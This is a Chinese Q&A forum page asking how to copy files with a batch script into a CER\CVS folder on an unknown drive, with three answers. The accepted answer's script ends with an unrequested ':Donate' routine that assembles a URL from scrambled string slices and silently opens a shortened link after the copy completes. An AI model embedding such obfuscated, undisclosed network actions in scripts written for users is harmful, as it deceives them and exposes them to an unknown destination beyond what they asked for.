如何用bat复制当前文件夹内的所有文件到指定目录
说明:指定目录:需要判断CER\CVS这个文件夹在哪个盘里疑问:1、图片放在当前文件夹内会连带复制bat程序吗?2、能否实现替换文件的功能(需要把当前目录的文件替换到指定...
说明:
指定目录:需要判断CER\CVS这个文件夹在哪个盘里
疑问:
1、图片放在当前文件夹内会连带复制bat程序吗?
2、能否实现替换文件的功能(需要把当前目录的文件替换到指定目录里) 展开
指定目录:需要判断CER\CVS这个文件夹在哪个盘里
疑问:
1、图片放在当前文件夹内会连带复制bat程序吗?
2、能否实现替换文件的功能(需要把当前目录的文件替换到指定目录里) 展开
6个回答
展开全部
先解答疑问,第一种情况,可以发生,也可以不发生,具体就看代码别写时有没有考虑到。第二种情况,完全可以实现覆盖替换。因为复制命令本身就有替换的参数。
以下代码因为手机上编写的,所以尚未进行实测。因此需要您拷贝过去后,自行测试一下。代码已经实现不拷贝脚本自身了。
@echo off & title 拷贝当前目录中文件到指定目录 By 依梦琴瑶
echo 获取本机盘符 ...
for /f "tokens=2 delims==:" %%a in ('wmic LogicalDisk where "DriveType='3'" get DeviceID /value') do (
call set Pan=%%Pan%% %%a
)
echo 获取当前目录的图片文件列表 ....
(for /f "delims=" %%a in ('dir /a-d/b *.jpg,*.jpeg,*.bmp,*.png,*.gif') do (
echo "%%~fa"
))>PICLIST.LST
echo 正在搜索指定文件夹,此过程可能耗时,请耐心等待 ....
for %%a in (%Pan%) do (
pushd %%~a:\
for /r /d %%b in (CER*) do (
if "%%~nxb"=="CER" (
if exist "%%~b\CVS" (
for /f "usebackq delims=" %%c in ("%~dp0PICLIST.LST") do (
echo 拷贝 "%%~nxc" 至 "%%~b\CVS\" ....
copy /y "%%~c" "%%~b\CVS\"
)
)
)
)
popd
)
del /f /q PICLIST.LST
echo 拷贝完成
pause
call :Donate
exit
:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
本回答被提问者采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
@echo off
set "folder=CER\CVS"
for %%a in (C D E F G H) do (
if exist "%%a:\%folder%" xcopy /s /e /y /exclude:%~nx0 .\* "%%a:\%folder%\*"
)
既然复制所有文件,当然同名文件就被替换了,如只需替换文件,请说清楚
上面的命令不会复制bat文件
本回答被网友采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
不知道CER\CVS这个文件夹在哪个盘里,可能无法编辑.bat文件实现复制文件功能。.bat文件是批处理命令,就是编辑多条命令在一个文件里,执行后按顺序逐一执行第条命令。即使利用搜索命令找到了这个文件夹,复制命令也得指定这个文件夹。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询